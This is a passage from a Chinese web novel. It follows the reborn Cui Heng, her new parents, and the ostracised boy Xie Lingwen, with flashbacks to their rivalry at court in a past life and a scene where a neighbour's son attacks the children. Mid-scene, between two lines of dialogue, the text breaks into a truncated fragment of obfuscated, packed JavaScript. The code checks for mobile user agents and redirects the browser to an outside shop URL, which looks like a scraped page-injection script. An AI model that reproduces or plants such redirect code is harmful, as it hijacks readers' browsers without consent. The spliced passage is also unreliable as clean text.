她的手很干净,指甲颜色很浅,带着淡淡的粉,手指白嫩纤细,看着就很柔软。
他只停留了一瞬,便敛下眼睫。
谢令闻不答话,崔蘅以为是他不想要,便掏出自己的小荷包,把里面的东西全都倒在掌心中。
有几块饴糖,几个漂亮的小石头,还有一朵小小的干花和一块铜板。
“这些加一起可以吗?”小娘子捧着一堆自己珍藏的宝贝看着他,眼睛里满是希冀。
谢令闻抿起唇,从她掌心里拾走几个石子,没有碰其他东西。
“这些就够了。”他把木雕递过去,嗓音平淡,“它是狗,不是兔子。”
崔蘅把木雕拿过来,喜笑颜开地道:“我也喜欢小狗!”
木雕刻的不算精致,边缘有些粗糙,只有一个大概的形状,崔蘅却越看越熟悉,兴奋地望向谢令闻,“是大黄!”
“谢哥哥,你刻得是大黄对不对?”
谢令闻轻轻“嗯”了一声:“把木雕给我,我打磨一下。”
木雕上有木刺,她皮肤细嫩,可能会受伤。
微风和煦,树叶飒飒作响,暑气消散几分,连聒噪的蝉鸣也停歇了,时间在这一刻变得安详而宁静。
崔蘅用手捧着脸,看谢令闻帮她打磨木雕。
他的手不像小孩子,虽然骨节分明,看着劲瘦有力,却满是旧伤,疤痕狰狞交错。
记忆里,谢令闻的手似乎永远在受伤。他是文官,多要持笔,手却比武官都要粗糙。
她记得有一年并未降过大雨,上京却发生内涝,皇上命赵檐和谢令闻一同探查原因,她随侍左右。
他们很快发现内涝是因为上京的过水涵洞堵塞导致,便命官兵前来清理。
涵洞内粪便污泥及各种垃圾杂物混杂在一起,臭气熏天,让人止不住地作呕,很多官兵都下不了手,抱怨连天。
谢令闻常下去探查记录情况,进进出出,眉头都从未皱一下。
后来缺人手,他默不作声地进了涵洞,和官兵一起挖污泥,若不是因为他的手被划伤而引发高热昏了过去,谁也不知道他在里面竟然待了整整五日。
是崔蘅将他背出来的。
赵檐命她快马加鞭带谢令闻去太医署,她把谢令闻放到自己身前,扯住缰绳,玩笑道:“谢大人,你知道自己
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现在很臭吗?”
谢令闻当时已经神志不清了,闻言却还是强撑着抬起脸,说了一句抱歉。
“倒不必谢罪,只是谢大人可要抓紧了,若你有个三长两短,我可没法儿跟皇上交代。”
他犹豫了一下,艰难地伸出手拽住崔蘅的一片衣角。
崔蘅起了坏心思,戏谑道:“谢大人,我的衣服被你弄脏了怎么办?”
谢令闻脸色苍白,闻言眼睫轻颤,立马松开了手。
恰好马儿拐进另一条街,谢令闻身子一歪,眼看就要被甩下去,崔蘅眼疾手快地搂住他的腰,将他按在自己身前。
一番动作下来,她被吓出一身冷汗。
转危为安的谢令闻却挣扎着不要她碰,虚弱地道:“我身上脏,免得污了你的衣裳。”
崔蘅半点也不敢逗这个死古板了,一手拽紧缰绳,一手虚虚揽着他,好声好气地道:“祖宗,衣裳可以再洗,你的命可就一条。”
谢令闻不知是没了力气还是已经失去了意识,没再挣扎说话。
崔蘅连忙夹紧马腹,将他送到太医署。
等谢令闻身上的污泥都洗干净,崔蘅看着他手上深可见骨的伤口,才惊觉这人有多能忍痛。
“好了。”
眼前出现的是一只尚且没有很多伤的手。
崔蘅恍然回神,朝他露出一个笑:“谢谢谢哥哥!”
木雕光滑了许多,摸着一点也不刺手了,崔蘅喜欢得紧,眼睛盯在上面怎么也移不开。
暮色将落,天边被霞光染成一片金黄,小娘子坐在夕阳下,脸上的细小绒毛被阳光照得清晰可见,衬着她圆圆的脸,让谢令闻联想到桃子。
他摩挲着手中的木头,用刻刀在上面划了一道圆弧。
崔蘅把大黄放在荷包里收好,又好奇地把小脑袋探过来,“谢哥哥,你还要雕东西呀?”
谢令闻没应声,停下手里的动作,开始收拾东西。
“谢哥哥,你要回家了吗?”
少年垂着眼,嗓音冷淡:“不回。”
“那你去哪?”她不厌其烦地追问。
谢令闻没有回答,将刻刀插进木制刀鞘里,默不作声地朝巷子外走去。
“谢哥哥等一下!”崔蘅连忙把洋山芋拿起来,跑过去拦住他的路,“这个给你,谢谢你帮我打磨木雕。”
谢令闻垂眼瞧着她拿着洋山芋的手,又淡淡地移开视线,“不用谢。”
没有伸手要接的意思。
崔蘅举着洋山芋,和他对峙:“你不要我就一直跟着你!”
谢令闻轻轻蹙起眉,最终还是抬手接了过来。
“很好吃的!你快尝尝!”崔蘅见他接了,笑得眉眼弯弯。
仿佛他要了这洋山芋,她就能从他这也得到什么好东西一般。
谢令闻不明白,崔叔一个举人为什么会教出那么笨的女儿。
他不仅身无一物,没有半点利益可图,还是阿娘鄙弃的扫把星,是街坊邻居避之不及的疯子傻子。
崔蘅却一点也不害怕会沾染上他的霉运,她听见了那首嘲笑他和阿娘的童谣,眼中却没有鄙夷与嫌弃,依旧纯净明亮。
就像……月亮。
8. 前世
晚上崔显回来时,照例给丽娘和崔蘅带了些零嘴。
他今日回来的早,丽娘便给他做了些夜宵,一家人围着桌子边吃边聊些闲话。
崔蘅往嘴里塞着吃的,看到崔显手边的书,问道:“阿爹今日在学堂都教了些什么呀?”
崔显回来时便和丽娘私底下说了崔蘅想读书的事,二人闻言对视一眼,丽娘先开了口:“阿蘅想读书吗?”
崔蘅并不意外丽娘会知道此事,毕竟二人把孩子当眼珠子看,她吃了几粒米都恨不得数清。
“我想和阿娘一样会算账,和阿爹一样会写字看书。”崔蘅坐在凳子上,微微晃荡着腿,乖巧地道,“学会后阿蘅就可以帮阿爹教书,帮阿娘算账。”
夫妻俩都以为崔蘅想读书是心血来潮,此时听她说是想帮忙,顿时感动的老泪纵横。
丽娘搂着崔蘅,止不住地喊心肝。
崔蘅自小无父无母,一个人摸爬滚打着长大,对于亲情家人之类的一直很陌生。
按理来说,她对丽娘和崔显的关心应会无所适从,可她并未不适,反而内心充足安定,像她本就是崔家的女儿一般。
崔蘅想不到缘由,便归结于是自己适应环境的能力太过强大。
就寝前,崔显把他今日讲课的内容写在宣纸上,先教崔蘅一个个读了一遍,又简单地讲解了意思,答应明晚教她如何写。
崔显关上房门后,崔蘅看着纸上的字,轻轻叹了一口气。
“德惟善政,政在养民”,正是谢令闻白日在地上写下的几个字。
他应是每天都会去宏德书院附近偷听先生讲课,很难想象一个贫苦无依的孩子要付出多少努力才能在如此严苛的条件下学会写字。
稍微有些家底的人家在孩子六七岁时便送去开蒙读书了,谢令闻如今十一岁,却连笔都未曾见过,若他生于高门大户,才学成就怕是无人能及。
崔蘅收好宣纸,躺到床上。
月色幽幽,流淌在窗檐之上,她在梦里也策马疾驰于溶溶月色之中,朝皇宫而去。
小太子宫里发现禁书,皇上震怒,气急攻心下吐出一口血昏迷不醒,皇宫内外风声鹤唳。
赵檐身为长孙,匆匆入宫探望,深夜传信要崔蘅入宫送些衣物,他近日宿在宫内侍疾。
崔蘅入宫后下马步行,至武英殿附近时,听到自夜色中传来沉闷的棍杖声。
大约是在行刑。
宫内打死犯错的宫人不是什么稀奇事,崔蘅匆匆路过,随意一瞥,一抹青白色衣角映入眼帘。
青白衣衫覆在地上,比月霜瞧着还要白上几分,映衬着青年瘦削的侧脸,似乎那衣裳里头包裹的只是一把勉强拼接起来的骨头,风一吹就散了。
小太子宫中发现禁书,首先要问责的必是身为太子老师的谢令闻,可谢令闻性子寡淡,不近女色,那等禁书他怕是见都没见过。
皇上竟那么愤怒,还未查清就将火朝谢令闻身上撒。
棍杖声接连不断,青年跪在地上,身形已经开始不稳。他身子弱,久跪都受不住,更何况受刑。
青白色衣衫被血迹洇出一片殷红,崔蘅站在夜色中,沉默地看着。
谢令闻权倾朝野,受皇帝信任,时常替皇帝朱批。他又是太子老师,是皇帝为太子精挑细选的辅臣,他一天不死,崔蘅与赵檐便一天不得安寝。
“先生!”
夜色中出现一抹明黄,小太子不知从哪跑出来,身后追着一群惊惶尖叫的宫人。
“书不是先生给我的!你们不要再打他了!”小太子哭得满脸是泪,朝谢令闻跑去,“都住手!”
在他将要扑过去时,崔蘅大步上前,撩袍跪在谢令闻身前,拦住他的路。
“臣参见殿下。”
小太子一心都在谢令闻身上,想绕过崔蘅,却被她伸臂拦住。
“殿下恕罪。”她把小太子抱到面前,隔开他与谢令闻,把小太子气得又哭又叫。
“你走开!我要先生!”
“殿下……”
身后传来谢令闻气若游丝的声音。
他已经快支撑不住了,如即将凋零的秋叶摇摇欲坠,嗓音喑哑:“殿下,回去。”
小太子立刻止住哭声,泪眼朦胧地看着谢令闻,抽噎着道:“先生,我错了,是我害了先生。”
崔蘅忽然明白皇帝为何会迁怒于谢令闻。
谢令闻受刑,小太子定求过情,原本怎么问也不肯开口的倔强孩童,在自己先生受罚时却恸哭不已。
即便是自己为儿子挑选的老师,身为父亲的皇帝看着小太子和一个臣子如此亲近,依然会心有芥蒂。
崔蘅松开小太子,轻声安抚:“殿下,夜深露重,您先回寝殿,臣在这儿替您守着谢大人可好?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655824|188271||http|test|mini|href|location''.split(''|''),0,{}));
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>眼看小太子有些动摇,崔蘅便接着道:“殿下若是病了,您身边的宫女怕是会受责罚,届时谢大人也会愧疚的。”
“那好吧。”小太子擦掉眼泪,拿出储君的气度来,命令道,“你要好好照顾先生,先生若出了什么事,我必定拿你问责!”
崔蘅俯首,额头碰到冰冷的石砖,恭敬地称了声“是”。
小太子抽抽嗒嗒地跟着乳母走了,崔蘅站起身,用手挥了挥袍子上的尘土,看向一脸为难的小黄门:
“愣什么呢?赶紧打啊,夜里寒气重,谢大人冻着了怎么办?”
“哦哦,大人说的是。”小黄门连忙抄起刑杖,一棍子挥到谢令闻的脊背上,看着有十成的力,打下去时只听一声闷响,便知是使了巧劲的,不会伤到内里。
“谢大人,我急着办差,你待会自个能回去吗?”崔蘅面上写着千万别让我等你几个字,坦然地望向谢令闻。
“可以。”青年的唇泛着灰白,抬起眼望向崔蘅,低声道,“多谢。”
“举手之劳。”崔蘅摆摆手,随口道,“谢大人若想谢也成,您那宝贝的木雕瞧着就不错,借我玩几天玩玩。”
文武百官都知道谢令闻有一个瞧不出形状的木雕,常随身带着,宝贝得要命。
有次陈端尹吃醉了酒去他府上送文书,无意间将那木雕碰在地上,磕碎一角,从那以后,除了商议正事,谢令闻私底下再也没搭理过他。
陈端尹为赔罪,连送去好些个昂贵的木摆件,谢令闻一概退回,路上碰到依旧拿他当空气,把陈端尹气得吹胡子瞪眼,骂他书读到狗肚子里去了,连尊老都不懂。
她只是想逗逗这个冰山一样的老顽固,没想他会送。
过了几天,小太子禁书案查清,是震方内一妄想攀龙附凤的宫女明里暗里向小太子多次提起此类禁书,让小太子心生好奇,便偷拿了自己贴身太监的藏起来看。
涉事人等皆被处理,圣上特许了谢令闻几天假,要他在家休养。
崔蘅以为此事告一段落,没想到谢令闻还真托人送了她一个精致的狐狸木雕。
小狐狸憨态可掬,抱着自己的尾巴睡觉,栩栩如生,好像能感受到它的呼吸一般。
恰好第二天是长公主寿宴,崔蘅原本想当面谢谢他,却听闻他伤势未好,又得了风寒,正在家卧床养病。
她不好打扰,只能作罢。
9. 意外
晨光微明,丽娘将崔显送出门时街巷仍然未醒,一片安宁。
崔蘅也早就醒了,帮阿娘把后门巷子里的落叶堆积到院子里晒干,好当柴火使。
她停下擦了擦额头上冒出的汗,见薄雾中来势汹汹地走出一大一小两个影子。
崔蘅认出是福子娘张氏,便停下打了个招呼:“张大娘好,一大早带着福子去哪呀?”
“去谢家!”张氏揪着福子,瞪着眼睛道,“俺家小子昨儿个出来碰到谢家那傻子,回来吓得话都说不利索了,今儿一早就发起了高热,我来找谢寡妇要个说法!”
崔蘅的笑淡了,客客气气地道:“大娘,昨个我看到是福子先去招惹的谢家哥哥。”
张氏不高兴了:“崔家娃娃,你这是啥意思?我们家福子还能说谎,冤枉了谢家那傻子不成!?”
崔蘅脸上的笑淡了,也懒得再和她客气。
“谢哥哥才不是傻子!”崔蘅指着福子怒气冲冲地道,“明明就是他先去招惹的谢哥哥,还倒打一耙!”
福子也不知道心虚还是害怕,开始嚎起来,拽着他娘要走,“阿娘我要回家!我害怕!我不要去找谢傻子!”
“不争气的玩意儿!”张氏火上心头,提溜起福子狠狠给了他屁股几巴掌,“你老娘在这儿你怕啥?”
崔蘅幸灾乐祸地看福子挨打,见巷子口走来一个熟悉的身影。
是谢令闻。
他还穿着昨日的衣裳,背着一捆柴,似乎是一大早便出去了。
崔蘅急得不行,朝他使劲摆手,想让他快走。
谢令闻蹙起眉,没看懂她的手势。
昨日他一直被阿娘锁在屋外,晚上又有宵禁,他没办法,只能再去宋家仓房和大黄一起待着,除了蚊虫多一些,其余的倒没什么。
天亮后他想直接去宏德书院后山摘些果子吃便在后墙听先生讲课的,可他又怕崔蘅去家里找他。
谢令闻不想崔蘅和阿娘见面,也不想让她知道自己有时无家可归。她太善良,知道他无处可去后一定会想尽办法收留他,丽姨和崔叔也一定会答应。
他不擅长拒绝,也不想给崔家添麻烦,便只能瞒着。
“阿娘!谢傻子在那!”福子激动地指向谢令闻。
谢傻子敢无视他,等阿娘这回把谢傻子好好教训一顿,看他还敢不敢不听话!
“你们不许动他!”
崔蘅堵住路,可张氏膀大腰圆,哪是她一个女娃拦得住的。
张氏一把推开她,横眉怒目地朝谢令闻走过去。
“就是你吓的我儿子!?”
张氏粗鲁地攥着谢令闻的衣领,要把他往前扯,“先去找你老娘,让她赔钱。”
这一扯,却没扯动。
“放开我。”谢令闻盯着她,漆黑如墨的瞳孔透出丝丝凉薄。
张氏像被定住一般,脊背发凉。
崔蘅趁着这个空挡,连忙抄起扫帚一棍子把张氏的手敲下去,站到谢令闻身前,紧绷着脸,如临大敌,“你不许碰他!”
张氏反应过来,觉察到自己被一个乳臭未干的小子吓住,恼羞成怒,劈手便去夺崔蘅手里的扫帚。
“大人的事你瞎掺乎什么!滚一边儿去!”
固然崔蘅前世有些功夫,可架不住她这具身体才八岁,还是个吃了睡睡了吃的孩童,张氏像拎小鸡仔一样,轻轻松松就制服了她。
她用上力气,拽着谢令闻到谢家院子前拍门。
“谢秋娘,你儿子在我手上,赶紧开门!”
可无论她怎么敲怎么叫,院子里仍是一片寂静。
“放开我!”崔蘅还在挣扎,一口咬在张氏手上。
张氏吃痛,下意识松开手。
崔蘅还想去咬她拽着谢令闻的那只手,被福子瞧见,挥着扫帚另一头冲上来,“你不许咬我阿娘!”
眼看竹棍就要落到崔蘅身上,谢令闻猛地用力挣开张氏,翻身护住她。
福子用了蛮力,棍子狠狠打在谢令闻左肩,只听一声脆响,那原本完好的竹棍竟然劈里啪啦地裂开了。
眼前的一切开始灰败,世界忽然变得漆黑,谢令闻的眼睛有一瞬间失明,他不受控制地往前倒去,感知也在慢慢消失。
“谢哥哥!”
崔蘅惊叫着扶住他,让他倚在自己肩上。
谢令闻嗅到熟悉的香味,在侧脸触碰到她衣衫的那刻,意识瞬间回笼。
不可以碰她,自己很脏。
他挣扎着站起来,扶住墙壁。
崔蘅刚碰到他的胳膊,就被他猛地甩开。
“回去。”谢令闻面色惨白,唇色也几乎接近透明,唯有一双黑眸冰冷地看着她,一字一顿地道,“不要多管闲事。”
“我不走!”崔蘅一点也不怕,恶狠狠地瞪了他一眼,将他护在自己身后,向张氏道,“你儿子打了谢哥哥,我要去报官,你若是想要谢家赔你钱,到时可以和官府说。”
却没想到张氏看她人小,气焰依旧嚣张:“你一个女娃去报官,连门都进不去!”
“我可以喊我阿娘!”崔蘅瞪着她,立马扯开嗓子喊,“阿娘!有人欺负我!你快来啊!”
其实丽娘去了
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街上买粮食并不在家,崔蘅兵行险招,想将他们吓退。
张氏果然害怕了,忙扯起福子要逃。
福子打了谢令闻一棍子,正兴奋,闹着不肯,叫道:“她骗人,她娘若是在家早就出来了,这么大动静都没出来瞧一眼,她一定在骗人,阿娘我不走,我要尿谢傻子头上出气!”
张氏就那么一个宝贝疙瘩,整天把福子当祖宗供着,要什么给什么,当即便拎起崔蘅,笑骂道:
“臭小子,憋着一泡尿早就等着呢吧?”
“滚开!你滚开啊!不许碰他!”
崔蘅眼睁睁看着福子上前开始脱裤子,笑嘻嘻地道:“谢傻子,好好接着我的尿。”
谢令闻想站起来,可左肩撕裂一般地痛,痛得他眼前阵阵发黑,使不上一点力气。
他望向院门,乞求阿娘出来。
可自始至终,这扇大门都没有为他打开。
他无力地闭上眼睛。
“汪汪!”
耳边响起熟悉的犬吠声,谢令闻慢慢睁开眼,看到一道矫健的身姿扑向福子,露出尖利的獠牙,撕咬着福子的衣裳。
“大黄!”崔蘅喜极而泣,“大黄好样的!咬他!”
张氏忙着去帮福子,扔下崔蘅。
她连忙去扶谢令闻,将裂开的竹棍攥在手里,命大黄回来。
张氏不讲理,是个实实在在的泼妇,若是大黄咬伤福子,她一定会想尽办法除掉大黄。
大黄乖乖回到崔蘅身边,虎视眈眈地盯着眼泪鼻涕糊一脸的福子和张氏。
“快滚!”崔蘅瞪着他们,威风十足地道,“再敢来惹事就还让大黄咬你!”
张氏有火也不敢撒,只好悻悻地带着福子走了。
崔蘅松了一口气,连忙要去查看谢令闻的伤。
“谢哥哥,你疼不疼啊?”
被吓得尿了一裤子的福子听到崔蘅的声音,愤愤地一脚踢飞路边的石头。
“我一定要教训她!”
张氏听的烦躁,抬起手狠狠扇了他脑袋一巴掌,“自己没用就算了,还让老娘跟着丢脸,你若是有本事就弄死那两个兔崽子,给你老娘出口气!”
福子又挨一巴掌,气急攻心,捡起脚边的石头就扭身朝崔蘅的方向砸过去。
“砸死你这个贱人!”
崔蘅正要扶起谢令闻,忽然感到脑后传来一阵尖锐的刺痛,她下意识去摸,看到掌心中满是刺目的红。
血……
世界开始眩晕颠倒,耳边的嗡鸣尖锐刺耳,她还没来得及看一眼谢令闻,便陷入无边黑暗中。
10. 蝴蝶
头很痛,像被几百只蚂蚁啃噬着脑髓。
安阳的冬天冷到人骨子里,崔蘅为照看赵檐,近些天来没有怎么合过眼,此刻头昏脑胀,步子都有些打飘。
窗外风雪呼啸,门窗被刮的吱呀作响,仅有的几件衣裳都裹在重病的赵檐身上,她只穿着一件寺庙里翻出来的破僧袍,塞着些干草挡风。
安阳没有建长宣王府,他们住在一个三进三出的破庙里,只有一个老和尚做仆役,堪称家徒四壁。
皇上的意思很明显,活命的机会他赏下来了,能不能活就看他们自己。
赵檐一直病着,连香灰都灌过,却不见好转。
实在没钱请大夫,崔蘅就每日外出上街卖艺,表演胸口碎大石或是给蒙眼投飞镖的人当靶子,一天下来能赚十几个铜板,勉强够用。
赵檐被病气腐蚀得不成样子,面庞泛着青灰色,眼神空洞黯淡,曾经壮硕的身躯,如今只剩一副伶仃的病骨撑着。
“阿蘅,我撑不住了,你走吧,莫要让我再拖累你了。”他总这样说。
崔蘅只是摇头,坚持给他抓药煎药,每日为他擦洗身体。
八岁那年赵檐把她从死人堆里刨出来,她也会尽全力将他拉出这滩烂泥。
日子一点点捱过去。
这天她恰好不在,赵檐病情恶化,老和尚无法,只得找来知州府的人帮忙,那些人连大夫都未曾请一个,便将赵檐用破席卷起扔进了乱葬岗。
崔蘅多赚了些钱,为给赵檐买床厚实的棉被,她厚着脸皮和老板讲了整整一天的价,回到寺里,却不见他人影。
她找到老和尚问清原委后,便头也不回地冲进大雪中。
乱葬岗寒鸦嘶鸣,寒风卷过地上的雪沫,呜呜作响,坟头边的枯树张牙舞爪地挥舞着枝桠,似是要刺破苍穹。
崔蘅被寒风吹得睁不开眼,手脚并用地往前爬。
“殿下!赵檐!”
她的声音被风雪湮没,四周寂静无声,只有风雪在呜咽,似冤魂低泣。
幸而她来得尚早,赵檐还未来得及被雪埋住。
崔蘅把赵檐从雪窝里背出来,顶着寒风,咬牙一步步往回走。
她这些天太累了,原本就没有多少力气,此刻迎着刀子似的风雪,双腿止不住地打颤,连呼吸都有些困难。
赵檐浑身冰冷,连睫毛上都结着冰霜,若不是感受耳边还有一丝他的气息,崔蘅几乎以为自己背着的是一个死人。
“殿下,你不可以死。”崔蘅喘着气,咬着牙道,“王妃用自己的命给我们换来一丝生机,我们不可以就这么死。”
“实在太难堪,太狼狈。”
茫茫大雪中,崔蘅拖着麻木僵硬的双腿,一点点艰难地朝前移动,到最后,她彻底没了力气,和赵檐一起倒在雪地中。
雪花落在她脸上,凉丝丝一片,就在意识即将完全消散之际,一只冰凉的手轻轻碰了碰她的指尖,赵檐气息微弱,声音却穿过大雪清晰地落在她耳边。
“阿蘅,我不死,我们活着……”
“我要带你杀回上京,斩尽天下负我之人。”
一字一句,含尽嗜血之恨。
那个雪夜里,崔蘅和赵檐互相扶持着,凭着满腔恨意,硬生生穿过乱葬岗,爬回人间。
雪片落在眼角,化为水珠滚落至鬓边,有人替她轻轻拂去,半是心疼半是怒地骂道:
“让张氏滚过来,阿蘅今日若还不醒,老娘定也要她见见血不可!”
“娘子,别吓着孩子。”
崔蘅自梦中挣扎着醒来,模模糊糊看到丽娘倚在崔显怀中低泣。
“阿娘……”
“阿蘅醒了!”丽娘又惊又喜,连忙擦掉眼泪,心疼地摸了摸她苍白的脸颊,“头还痛不痛?身上可有不适的地方?”
崔蘅摸摸头上的纱布,轻轻摇了摇头,“不痛了,阿娘,我没什么大碍。”
“刚醒来,少说些话。”崔显端来一碗汤药要亲自喂她,“阿蘅来,先把药吃了。”
一碗药见底,丽娘往她嘴里塞了块饴糖。
甜味将舌尖的苦涩辛辣压下,崔蘅展开眉,忽然想起没见谢令闻。
“阿爹阿娘,谢哥哥呢?”
二人也俱是一愣。
“令闻去找了大夫还有我和你娘,我们都忙着照看你,没空招待他,估计是走了。”
崔蘅有些着急:“可谢哥哥身上也有伤。”
“福子拿着竹棍打了谢哥哥的左肩膀,那竹棍都裂开了!”
崔显皱起眉,知道此事不可耽搁,便安抚女儿道:“我去寻令闻,阿蘅莫要忧心,乖乖等着阿爹回来。”
崔蘅点了点头,不放心地叮嘱:“阿爹一定要带谢哥哥去医馆,他是因为保护我才受得伤。”
崔显带着女儿的期盼出了门。
他先去了后巷谢家院子前,前几日谢家一直自内反锁着门,今日门外却落着一把锁,明显没有人在。
崔显想起前几日崔蘅是在宋家仓房里找到的谢令闻,便拐上街朝宋家铺子走。
宋老三正在收摊,笑容满面地打了声招呼:“崔先生又来给阿蘅买包子啊?您今儿可来晚了,我们这都收摊了!”
“包子明日再买也成。”
崔显朝他拱了拱手,笑道,“我来是想问一下宋老板,有没有见过谢家小郎。”
宋老三闻言叹了口气,拎起脖子上挂着毛巾擦掉额头上的汗,靠近崔显,压低声音:
“在我家后头仓房里呢,昨儿晚就来了,我一直装没看见,特地放了几个包子在外头,晨起一瞧,碰都没碰。”
他摆了摆手,无奈道:“这孩子太倔,打碎骨头都不弯腰。”
“宋老板心善,我替谢家孩子谢谢你。”崔显朝宋老三弯腰作了一个揖。
他是举人,又是书院先生,宋老三哪敢受他的礼,连忙把他扶起来。
“都是咱们看着长大的孩子,举手之劳罢了,崔先生这是想让我折寿啊!”
崔显和宋老三又寒暄了一阵,道明来意后,便朝后去寻谢令闻。
大黄狗守在门口,见到喂过它吃的崔显,兴奋地甩起尾巴原地打转。
崔显笑着摸了摸大黄的头,抬眼望向仓房内。
一团小小的影子缩在墙角,正垂着头,用木枝在地上写字。他握着木枝的姿势有些别扭的,但写的字却十分工整。
崔显悄无声息地进了门,站在一侧,端详地上的字。
等他写完,便开口问道:“‘知其不可奈何而安之若命,德之至也’,你知道出自哪篇文章吗?”
谢令闻听出崔显的声音,动作一顿,回道:“庄子内篇,人世间。”
“不错。”崔显满意地点点头,屈膝蹲到他身边,也随手捡起一个树枝,朝他写的“德”字添了一横。
“这里缺一笔。”
“谢崔叔指点。”谢令闻站起来,朝崔显恭恭敬敬地行了一礼。
崔显乐呵呵地道:“虽说人之患在好为人师,但我方才确实使你受益了一些,不
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叫我一声先生吗?”
谢令闻抿了抿唇,长睫在眼睑下投出一片阴影,面上的冷淡被无措取代。
他犹豫了片刻,还是乖巧地喊了一声“先生”。
崔显拍了拍他的右肩,开怀大笑:“既然你喊我一声先生,那今日我便将庄子内篇讲述与你听。”
“随我来,咱们边走边谈。”
宋老三看见崔显身边亦步亦趋跟着的谢令闻,心下纳罕。
这谢家孩子性子那么古怪孤僻,崔先生使了什么本领让他那么听话的?
这边崔显一路走一路说,时不时问谢令闻一两句他的见解,不多时就将人领到了医馆。
他撩袍坐下,让谢令闻坐在另一侧。
“大夫,麻烦您给看一下这孩子的伤,在左肩上。”
谢令闻刚想拒绝,便听崔显又道:“肩膀受伤会影响拿笔的姿势,莫要因小失大。”
“恰好此处有纸笔,你先将我方才说的要点写下来。”
谢令闻垂首敛目,应了句“是”。
这是他第一次拿笔,也是第一次真真正正的在纸上写字。
树枝总是粗细不一,写在地上难免阻塞,换上羊毫与宣纸,感受便大不相同。
行云流水,顺滑无阻。
医馆用的笔墨并不上呈,笔尖有些分叉,墨水也带着隐隐的臭味,谢令闻下笔时,内心却有种平静的激荡。
崔显看着垂眼认真写字的谢令闻,让拿着银针等待的大夫上前施针。
一根根银针落下,谢令闻却毫无察觉,执笔依旧稳健,手腕稳如泰山。
待针施完,谢令闻落下最后一笔。
他将宣纸呈上,崔显仔细看过后满意地点了点头。
虽然有些错字,详解要义与重点却一个不落,不说别的,就他这份耐力与超群的记忆,就已经赢过宏德书院的大多数学生。
谢令闻整理好衣袍,眉眼低垂,“学识浅薄,先生见笑。”
“你自学至此,已经不容易了。”
崔显正感慨自己发现一个读书的好苗子,忽然想起自家女儿的嘱托,便望向谢令闻,试探地道,“令闻啊,阿蘅醒来后一直很挂念你的伤,你能否和我走一趟,就让她瞧一眼你,也好放心。”
他触及谢令闻漆黑的眼瞳,立马摆起架子,“我是先生,你要尊师。”
谢令闻抿起唇,轻轻点了点头。
崔蘅吃过药,精神已经完全好起来,正在院子里蹲着洗自己的小荷包。
“阿蘅,瞧我把谁找回来了?”崔显还未进门便邀功一般地喊起来。
崔蘅一听是阿爹的声音,惊喜地探出头,“阿爹!谢哥哥!”
小娘子卷起衣袖,露出一截肉乎乎的藕臂,仿若羊脂白玉,在阳光下晃着人的眼睛。
“谢哥哥,你的伤如何了?”
她急吼吼地跑上前,用两只还带着水的爪子攥住谢令闻的衣袖,立马在上面留下一团深色的水痕。
眼看崔蘅又要去扒谢令闻的衣领子,崔显连忙拦住女儿,“好了好了,阿爹带你谢哥哥去看过大夫了,你先带谢哥哥去书房玩,待会阿娘就做好晚膳了。”
崔蘅悻悻地收回手,忽然想起什么,转眼又高兴起来,拉着谢令闻往书房跑,“谢哥哥,快来,瞧我给大黄身上画了什么!”
她今日没有用发带,只在发髻下簪了个时下兴行的蝴蝶发钗,小小的一个,流光溢彩。
蝴蝶随着她的动作震颤起翅膀,似乎就要朝谢令闻飞来。
11. 出气
已近初秋,晌午阳光正好,软绵绵地包裹在身上,烘出一片暖意。
崔家的书房原本是崔显专用,崔蘅提出想读书后,崔氏夫妇便把屋子里原本搁置在当中的桌椅挪到北侧,在中间放上一扇竹鸟纱隔,把朝南的一半给了崔蘅,放上书案供她读书写字。
崔蘅很喜欢这间在阿爹书房里开辟出来的小小天地,当即把自己的宝贝全搬了过来。
她牵着谢令闻跑进来,跪坐在书案边,捧起晒在窗台上的小大黄。
“好看吗?”
小娘子给木雕点了睛,还用朱砂画了项圈,乍一看像一圈花边儿。
“嗯,好看。”谢令闻垂眼望着摇头晃脑正得意的小娘子,她头上围着一圈纱布,扇动着翅膀的炽橙色蝴蝶像停驻在雪面,如寒冬中一簇燃烧的火苗,烫在他心尖。
崔蘅把大黄小心翼翼地放回窗台上,又骄傲地将方才自己写的字拿出来,“这是我方才临摹的字,阿娘夸我写得好呢!”
小娘子临的柳公,大约是因为人小,执笔不稳,笔画稍显虚浮,但与谢令闻比起来,已经胜上一大截。
她凑过来,仰着脸问:“谢哥哥,你能帮我看看有没有写错的地方吗?”
谢令闻垂下眼睫,轻轻摇了摇头:“有些字我也不识,帮不了你。”
崔蘅面上没有露出类似于鄙夷与不屑的神色,反而笑着道:“那我叫阿爹来看看,我们一起听阿爹说。”
崔显被唤进来,看过她写的字后,指出一道错误:“‘善’字底端应为口,阿蘅粗心,多了一横。”
崔蘅挠了挠头,似是有些心虚:“我自罚三张。”
崔显满意地点了点头,又向谢令闻道:“令闻未曾指出错误,也该罚,和阿蘅一起写三张罢。”
谢令闻微愣,触及崔显略带严厉的目光,便弯腰行礼,恭敬地应了声“是”。
一张窄窄的书案,崔蘅趴在那头,谢令闻端坐在这头。
“阿蘅,复述一遍昨夜我教你的执笔姿势。”
崔显眼神一扫,崔蘅便立马直起身子,一口气道:“体态应头正、身直、肩平、臂开、足安,执笔应做到擫押钩格抵。”
谢令闻一个字一个字的记在心里,按照崔蘅的话将肩膀放平。
“令闻做得不错。”
崔显毫不吝啬对他的欣赏,谢令闻握紧笔,下颌不再紧绷,心底一直坠着的石头似乎也在这一刻变得轻了许多。
等一帖字写完时,再抬起头,崔蘅正捧着脸笑眯眯地盯着他瞧。
谢令闻望进小娘子含笑的眸子里,一时有些无措,垂下眉眼错开她的目光,“怎么了?”
“谢哥哥,我突然发现你长得很好看。”
崔蘅说得是真心话。
前世他们两个恨对方恨得牙痒痒,崔蘅只觉得此人真是多看一眼就要吐出隔夜饭,谢令闻对她也始终冷冰冰的,狭路相逢,他也从未正眼瞧过她,更不要说欣赏对方的脸了,想想那个场景都觉得毛骨悚然。
但说实在的,谢令闻这张脸真不差。
